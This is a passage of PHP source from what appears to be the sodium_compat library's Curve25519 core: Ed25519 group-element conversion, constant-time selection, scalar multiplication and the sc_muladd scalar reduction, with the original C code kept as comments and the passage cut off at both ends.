ParagonIE_Sodium_Core_Curve25519_Ge_P2( self::fe_copy($p->X), self::fe_copy($p->Y), self::fe_copy($p->Z) ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_p3_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { $q = self::ge_p3_to_p2($p); return self::ge_p2_dbl($q); } /** * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp */ public static function ge_precomp_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param int $b * @param int $c * @return int */ public static function equal($b, $c) { return (int) ((($b ^ $c) - 1) >> 31) & 1; } /** * @internal You should not use this directly from another application * * @param int|string $char * @return int (1 = yes, 0 = no) * @throws SodiumException * @throws TypeError */ public static function negative($char) { if (is_int($char)) { return ($char >> 63) & 1; } $x = self::chrToInt(self::substr($char, 0, 1)); return (int) ($x >> 63); } /** * Conditional move * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp */ public static function cmov( ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u, $b ) { if (!is_int($b)) { throw new InvalidArgumentException('Expected an integer.'); } return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_cmov($t->yplusx, $u->yplusx, $b), self::fe_cmov($t->yminusx, $u->yminusx, $b), self::fe_cmov($t->xy2d, $u->xy2d, $b) ); } /** * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached */ public static function ge_cmov_cached( ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u, $b ) { $b &= 1; $ret = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(); $ret->YplusX = self::fe_cmov($t->YplusX, $u->YplusX, $b); $ret->YminusX = self::fe_cmov($t->YminusX, $u->YminusX, $b); $ret->Z = self::fe_cmov($t->Z, $u->Z, $b); $ret->T2d = self::fe_cmov($t->T2d, $u->T2d, $b); return $ret; } /** * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $cached * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached * @throws SodiumException */ public static function ge_cmov8_cached(array $cached, $b) { // const unsigned char bnegative = negative(b); // const unsigned char babs = b - (((-bnegative) & b) * ((signed char) 1 << 1)); $bnegative = self::negative($b); $babs = $b - (((-$bnegative) & $b) << 1); // ge25519_cached_0(t); $t = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_1(), self::fe_1(), self::fe_1(), self::fe_0() ); // ge25519_cmov_cached(t, &cached[0], equal(babs, 1)); // ge25519_cmov_cached(t, &cached[1], equal(babs, 2)); // ge25519_cmov_cached(t, &cached[2], equal(babs, 3)); // ge25519_cmov_cached(t, &cached[3], equal(babs, 4)); // ge25519_cmov_cached(t, &cached[4], equal(babs, 5)); // ge25519_cmov_cached(t, &cached[5], equal(babs, 6)); // ge25519_cmov_cached(t, &cached[6], equal(babs, 7)); // ge25519_cmov_cached(t, &cached[7], equal(babs, 8)); for ($x = 0; $x < 8; ++$x) { $t = self::ge_cmov_cached($t, $cached[$x], self::equal($babs, $x + 1)); } // fe25519_copy(minust.YplusX, t->YminusX); // fe25519_copy(minust.YminusX, t->YplusX); // fe25519_copy(minust.Z, t->Z); // fe25519_neg(minust.T2d, t->T2d); $minust = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_copy($t->YminusX), self::fe_copy($t->YplusX), self::fe_copy($t->Z), self::fe_neg($t->T2d) ); return self::ge_cmov_cached($t, $minust, $bnegative); } /** * @internal You should not use this directly from another application * * @param int $pos * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayOffset */ public static function ge_select($pos = 0, $b = 0) { static $base = null; if ($base === null) { $base = array(); /** @var int $i */ foreach (self::$base as $i => $bas) { for ($j = 0; $j < 8; ++$j) { $base[$i][$j] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][0]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][1]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][2]) ); } } } /** @var array> $base */ if (!is_int($pos)) { throw new InvalidArgumentException('Position must be an integer'); } if ($pos < 0 || $pos > 31) { throw new RangeException('Position is out of range [0, 31]'); } $bnegative = self::negative($b); $babs = $b - (((-$bnegative) & $b) << 1); $t = self::ge_precomp_0(); for ($i = 0; $i < 8; ++$i) { $t = self::cmov( $t, $base[$pos][$i], self::equal($babs, $i + 1) ); } $minusT = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_copy($t->yminusx), self::fe_copy($t->yplusx), self::fe_neg($t->xy2d) ); return self::cmov($t, $minusT, $bnegative); } /** * Subtract two group elements. * * r = p - q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_sub( ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YminusX); $r->Y = self::fe_mul($r->Y, $q->YplusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * Convert a group element to a byte string. * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param string $a * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A * @param string $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess */ public static function ge_double_scalarmult_vartime( $a, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A, $b ) { /** @var array $Ai */ $Ai = array(); /** @var array $Bi */ static $Bi = array(); if (!$Bi) { for ($i = 0; $i < 8; ++$i) { $Bi[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][0]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][1]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][2]) ); } } for ($i = 0; $i < 8; ++$i) { $Ai[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_0(), self::fe_0(), self::fe_0(), self::fe_0() ); } # slide(aslide,a); # slide(bslide,b); /** @var array $aslide */ $aslide = self::slide($a); /** @var array $bslide */ $bslide = self::slide($b); # ge_p3_to_cached(&Ai[0],A); # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t); $Ai[0] = self::ge_p3_to_cached($A); $t = self::ge_p3_dbl($A); $A2 = self::ge_p1p1_to_p3($t); # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u); # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u); # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u); # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u); # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u); # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u); # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u); for ($i = 0; $i < 7; ++$i) { $t = self::ge_add($A2, $Ai[$i]); $u = self::ge_p1p1_to_p3($t); $Ai[$i + 1] = self::ge_p3_to_cached($u); } # ge_p2_0(r); $r = self::ge_p2_0(); # for (i = 255;i >= 0;--i) { # if (aslide[i] || bslide[i]) break; # } $i = 255; for (; $i >= 0; --$i) { if ($aslide[$i] || $bslide[$i]) { break; } } # for (;i >= 0;--i) { for (; $i >= 0; --$i) { # ge_p2_dbl(&t,r); $t = self::ge_p2_dbl($r); # if (aslide[i] > 0) { if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u,&t); # ge_add(&t,&u,&Ai[aslide[i]/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_add( $u, $Ai[(int) floor($aslide[$i] / 2)] ); # } else if (aslide[i] < 0) { } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u,&t); # ge_sub(&t,&u,&Ai[(-aslide[i])/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_sub( $u, $Ai[(int) floor(-$aslide[$i] / 2)] ); } # if (bslide[i] > 0) { if ($bslide[$i] > 0) { /** @var int $index */ $index = (int) floor($bslide[$i] / 2); # ge_p1p1_to_p3(&u,&t); # ge_madd(&t,&u,&Bi[bslide[i]/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_madd($t, $u, $Bi[$index]); # } else if (bslide[i] < 0) { } elseif ($bslide[$i] < 0) { /** @var int $index */ $index = (int) floor(-$bslide[$i] / 2); # ge_p1p1_to_p3(&u,&t); # ge_msub(&t,&u,&Bi[(-bslide[i])/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_msub($t, $u, $Bi[$index]); } # ge_p1p1_to_p2(r,&t); $r = self::ge_p1p1_to_p2($t); } return $r; } /** * @internal You should not use this directly from another application * * @param string $a * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public static function ge_scalarmult($a, $p) { $e = array_fill(0, 64, 0); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $pi */ $pi = array(); // ge25519_p3_to_cached(&pi[1 - 1], p); /* p */ $pi[0] = self::ge_p3_to_cached($p); // ge25519_p3_dbl(&t2, p); // ge25519_p1p1_to_p3(&p2, &t2); // ge25519_p3_to_cached(&pi[2 - 1], &p2); /* 2p = 2*p */ $t2 = self::ge_p3_dbl($p); $p2 = self::ge_p1p1_to_p3($t2); $pi[1] = self::ge_p3_to_cached($p2); // ge25519_add_cached(&t3, p, &pi[2 - 1]); // ge25519_p1p1_to_p3(&p3, &t3); // ge25519_p3_to_cached(&pi[3 - 1], &p3); /* 3p = 2p+p */ $t3 = self::ge_add($p, $pi[1]); $p3 = self::ge_p1p1_to_p3($t3); $pi[2] = self::ge_p3_to_cached($p3); // ge25519_p3_dbl(&t4, &p2); // ge25519_p1p1_to_p3(&p4, &t4); // ge25519_p3_to_cached(&pi[4 - 1], &p4); /* 4p = 2*2p */ $t4 = self::ge_p3_dbl($p2); $p4 = self::ge_p1p1_to_p3($t4); $pi[3] = self::ge_p3_to_cached($p4); // ge25519_add_cached(&t5, p, &pi[4 - 1]); // ge25519_p1p1_to_p3(&p5, &t5); // ge25519_p3_to_cached(&pi[5 - 1], &p5); /* 5p = 4p+p */ $t5 = self::ge_add($p, $pi[3]); $p5 = self::ge_p1p1_to_p3($t5); $pi[4] = self::ge_p3_to_cached($p5); // ge25519_p3_dbl(&t6, &p3); // ge25519_p1p1_to_p3(&p6, &t6); // ge25519_p3_to_cached(&pi[6 - 1], &p6); /* 6p = 2*3p */ $t6 = self::ge_p3_dbl($p3); $p6 = self::ge_p1p1_to_p3($t6); $pi[5] = self::ge_p3_to_cached($p6); // ge25519_add_cached(&t7, p, &pi[6 - 1]); // ge25519_p1p1_to_p3(&p7, &t7); // ge25519_p3_to_cached(&pi[7 - 1], &p7); /* 7p = 6p+p */ $t7 = self::ge_add($p, $pi[5]); $p7 = self::ge_p1p1_to_p3($t7); $pi[6] = self::ge_p3_to_cached($p7); // ge25519_p3_dbl(&t8, &p4); // ge25519_p1p1_to_p3(&p8, &t8); // ge25519_p3_to_cached(&pi[8 - 1], &p8); /* 8p = 2*4p */ $t8 = self::ge_p3_dbl($p4); $p8 = self::ge_p1p1_to_p3($t8); $pi[7] = self::ge_p3_to_cached($p8); // for (i = 0; i < 32; ++i) { // e[2 * i + 0] = (a[i] >> 0) & 15; // e[2 * i + 1] = (a[i] >> 4) & 15; // } for ($i = 0; $i < 32; ++$i) { $e[($i << 1) ] = self::chrToInt($a[$i]) & 15; $e[($i << 1) + 1] = (self::chrToInt($a[$i]) >> 4) & 15; } // /* each e[i] is between 0 and 15 */ // /* e[63] is between 0 and 7 */ // carry = 0; // for (i = 0; i < 63; ++i) { // e[i] += carry; // carry = e[i] + 8; // carry >>= 4; // e[i] -= carry * ((signed char) 1 << 4); // } $carry = 0; for ($i = 0; $i < 63; ++$i) { $e[$i] += $carry; $carry = $e[$i] + 8; $carry >>= 4; $e[$i] -= $carry << 4; } // e[63] += carry; // /* each e[i] is between -8 and 8 */ $e[63] += $carry; // ge25519_p3_0(h); $h = self::ge_p3_0(); // for (i = 63; i != 0; i--) { for ($i = 63; $i != 0; --$i) { // ge25519_cmov8_cached(&t, pi, e[i]); $t = self::ge_cmov8_cached($pi, $e[$i]); // ge25519_add_cached(&r, h, &t); $r = self::ge_add($h, $t); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); // ge25519_p1p1_to_p3(h, &r); /* *16 */ $h = self::ge_p1p1_to_p3($r); /* *16 */ } // ge25519_cmov8_cached(&t, pi, e[i]); // ge25519_add_cached(&r, h, &t); // ge25519_p1p1_to_p3(h, &r); $t = self::ge_cmov8_cached($pi, $e[0]); $r = self::ge_add($h, $t); return self::ge_p1p1_to_p3($r); } /** * @internal You should not use this directly from another application * * @param string $a * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public static function ge_scalarmult_base($a) { /** @var array $e */ $e = array(); $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); for ($i = 0; $i < 32; ++$i) { $dbl = (int) $i << 1; $e[$dbl] = (int) self::chrToInt($a[$i]) & 15; $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15; } $carry = 0; for ($i = 0; $i < 63; ++$i) { $e[$i] += $carry; $carry = $e[$i] + 8; $carry >>= 4; $e[$i] -= $carry << 4; } $e[63] += (int) $carry; $h = self::ge_p3_0(); for ($i = 1; $i < 64; $i += 2) { $t = self::ge_select((int) floor($i / 2), (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } $r = self::ge_p3_dbl($h); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $h = self::ge_p1p1_to_p3($r); for ($i = 0; $i < 64; $i += 2) { $t = self::ge_select($i >> 1, (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } return $h; } /** * Calculates (ab + c) mod l * where l = 2^252 + 27742317777372353535851937790883648493 * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @param string $c * @return string * @throws TypeError */ public static function sc_muladd($a, $b, $c) { $a0 = 2097151 & self::load_3(self::substr($a, 0, 3)); $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5); $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2); $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7); $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4); $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1); $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6); $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3); $a8 = 2097151 & self::load_3(self::substr($a, 21, 3)); $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5); $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2); $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7); $b0 = 2097151 & self::load_3(self::substr($b, 0, 3)); $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5); $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2); $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7); $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4); $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1); $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6); $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3); $b8 = 2097151 & self::load_3(self::substr($b, 21, 3)); $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5); $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2); $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7); $c0 = 2097151 & self::load_3(self::substr($c, 0, 3)); $c1 = 2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5); $c2 = 2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2); $c3 = 2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7); $c4 = 2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4); $c5 = 2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1); $c6 = 2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6); $c7 = 2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3); $c8 = 2097151 & self::load_3(self::substr($c, 21, 3)); $c9 = 2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5); $c10 = 2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2); $c11 = (self::load_4(self::substr($c, 28, 4)) >> 7); /* Can't really avoid the pyramid here: */ $s0 = $c0 + self::mul($a0, $b0, 24); $s1 = $c1 + self::mul($a0, $b1, 24) + self::mul($a1, $b0, 24); $s2 = $c2 + self::mul($a0, $b2, 24) + self::mul($a1, $b1, 24) + self::mul($a2, $b0, 24); $s3 = $c3 + self::mul($a0, $b3, 24) + self::mul($a1, $b2, 24) + self::mul($a2, $b1, 24) + self::mul($a3, $b0, 24); $s4 = $c4 + self::mul($a0, $b4, 24) + self::mul($a1, $b3, 24) + self::mul($a2, $b2, 24) + self::mul($a3, $b1, 24) + self::mul($a4, $b0, 24); $s5 = $c5 + self::mul($a0, $b5, 24) + self::mul($a1, $b4, 24) + self::mul($a2, $b3, 24) + self::mul($a3, $b2, 24) + self::mul($a4, $b1, 24) + self::mul($a5, $b0, 24); $s6 = $c6 + self::mul($a0, $b6, 24) + self::mul($a1, $b5, 24) + self::mul($a2, $b4, 24) + self::mul($a3, $b3, 24) + self::mul($a4, $b2, 24) + self::mul($a5, $b1, 24) + self::mul($a6, $b0, 24); $s7 = $c7 + self::mul($a0, $b7, 24) + self::mul($a1, $b6, 24) + self::mul($a2, $b5, 24) + self::mul($a3, $b4, 24) + self::mul($a4, $b3, 24) + self::mul($a5, $b2, 24) + self::mul($a6, $b1, 24) + self::mul($a7, $b0, 24); $s8 = $c8 + self::mul($a0, $b8, 24) + self::mul($a1, $b7, 24) + self::mul($a2, $b6, 24) + self::mul($a3, $b5, 24) + self::mul($a4, $b4, 24) + self::mul($a5, $b3, 24) + self::mul($a6, $b2, 24) + self::mul($a7, $b1, 24) + self::mul($a8, $b0, 24); $s9 = $c9 + self::mul($a0, $b9, 24) + self::mul($a1, $b8, 24) + self::mul($a2, $b7, 24) + self::mul($a3, $b6, 24) + self::mul($a4, $b5, 24) + self::mul($a5, $b4, 24) + self::mul($a6, $b3, 24) + self::mul($a7, $b2, 24) + self::mul($a8, $b1, 24) + self::mul($a9, $b0, 24); $s10 = $c10 + self::mul($a0, $b10, 24) + self::mul($a1, $b9, 24) + self::mul($a2, $b8, 24) + self::mul($a3, $b7, 24) + self::mul($a4, $b6, 24) + self::mul($a5, $b5, 24) + self::mul($a6, $b4, 24) + self::mul($a7, $b3, 24) + self::mul($a8, $b2, 24) + self::mul($a9, $b1, 24) + self::mul($a10, $b0, 24); $s11 = $c11 + self::mul($a0, $b11, 24) + self::mul($a1, $b10, 24) + self::mul($a2, $b9, 24) + self::mul($a3, $b8, 24) + self::mul($a4, $b7, 24) + self::mul($a5, $b6, 24) + self::mul($a6, $b5, 24) + self::mul($a7, $b4, 24) + self::mul($a8, $b3, 24) + self::mul($a9, $b2, 24) + self::mul($a10, $b1, 24) + self::mul($a11, $b0, 24); $s12 = self::mul($a1, $b11, 24) + self::mul($a2, $b10, 24) + self::mul($a3, $b9, 24) + self::mul($a4, $b8, 24) + self::mul($a5, $b7, 24) + self::mul($a6, $b6, 24) + self::mul($a7, $b5, 24) + self::mul($a8, $b4, 24) + self::mul($a9, $b3, 24) + self::mul($a10, $b2, 24) + self::mul($a11, $b1, 24); $s13 = self::mul($a2, $b11, 24) + self::mul($a3, $b10, 24) + self::mul($a4, $b9, 24) + self::mul($a5, $b8, 24) + self::mul($a6, $b7, 24) + self::mul($a7, $b6, 24) + self::mul($a8, $b5, 24) + self::mul($a9, $b4, 24) + self::mul($a10, $b3, 24) + self::mul($a11, $b2, 24); $s14 = self::mul($a3, $b11, 24) + self::mul($a4, $b10, 24) + self::mul($a5, $b9, 24) + self::mul($a6, $b8, 24) + self::mul($a7, $b7, 24) + self::mul($a8, $b6, 24) + self::mul($a9, $b5, 24) + self::mul($a10, $b4, 24) + self::mul($a11, $b3, 24); $s15 = self::mul($a4, $b11, 24) + self::mul($a5, $b10, 24) + self::mul($a6, $b9, 24) + self::mul($a7, $b8, 24) + self::mul($a8, $b7, 24) + self::mul($a9, $b6, 24) + self::mul($a10, $b5, 24) + self::mul($a11, $b4, 24); $s16 = self::mul($a5, $b11, 24) + self::mul($a6, $b10, 24) + self::mul($a7, $b9, 24) + self::mul($a8, $b8, 24) + self::mul($a9, $b7, 24) + self::mul($a10, $b6, 24) + self::mul($a11, $b5, 24); $s17 = self::mul($a6, $b11, 24) + self::mul($a7, $b10, 24) + self::mul($a8, $b9, 24) + self::mul($a9, $b8, 24) + self::mul($a10, $b7, 24) + self::mul($a11, $b6, 24); $s18 = self::mul($a7, $b11, 24) + self::mul($a8, $b10, 24) + self::mul($a9, $b9, 24) + self::mul($a10, $b8, 24) + self::mul($a11, $b7, 24); $s19 = self::mul($a8, $b11, 24) + self::mul($a9, $b10, 24) + self::mul($a10, $b9, 24) + self::mul($a11, $b8, 24); $s20 = self::mul($a9, $b11, 24) + self::mul($a10, $b10, 24) + self::mul($a11, $b9, 24); $s21 = self::mul($a10, $b11, 24) + self::mul($a11, $b10, 24); $s22 = self::mul($a11, $b11, 24); $s23 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry18 = ($s18 + (1 << 20)) >> 21; $s19 += $carry18; $s18 -= $carry18 << 21; $carry20 = ($s20 + (1 << 20)) >> 21; $s21 += $carry20; $s20 -= $carry20 << 21; $carry22 = ($s22 + (1 << 20)) >> 21; $s23 += $carry22; $s22 -= $carry22 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $carry17 = ($s17 + (1 << 20)) >> 21; $s18 += $carry17; $s17 -= $carry17 << 21; $carry19 = ($s19 + (1 << 20)) >> 21; $s20 += $carry19; $s19 -= $carry19 << 21; $carry21 = ($s21 + (1 << 20)) >> 21; $s22 += $carry21; $s21 -= $carry21 << 21; $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); $s9 += self::mul($s21, 666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 